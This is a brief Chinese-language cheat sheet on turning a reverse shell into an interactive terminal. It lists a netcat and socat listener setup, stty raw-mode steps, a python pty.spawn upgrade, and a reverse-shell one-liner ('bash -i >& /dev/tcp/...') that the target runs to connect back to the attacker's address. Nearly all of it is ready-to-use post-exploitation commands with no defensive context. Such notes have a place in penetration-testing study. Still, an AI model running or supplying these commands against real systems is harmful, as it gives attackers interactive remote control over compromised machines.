半交互式:

nc监听普通反弹后,在目标机输入python -c 'import pty; pty.spawn("/bin/bash")'

可以升级为半交互shell

全交互:

监听方法1.socat交互监听:

socat file:tty,raw,echo=0 tcp-listen:4444

监听方法2. netcat监听

stty -a         //获取当前终端参数备用

stty raw        //设置当前终端为raw模式,部分发行版还需要加上-echo关闭终端回显

nc -vlp 1234    //监听端口,此时当前终端无回显,盲打或将上述命令做成shell脚本

#目标

bash -i >& /dev/tcp/10.0.10.1/4444 0>&1  //正常反弹shell,其他方式也行

shell回来后

第一种:

python -c 'import pty; pty.spawn("/bin/bash")'  //spawn pty

resize  //根据当前终端尺寸重新设置COLUMNS和LINES环境变量

//如果没有resize命令,手动根据前面stty -a结果中的rows和columns值设置,如

export COLUMNS=204 LINES=51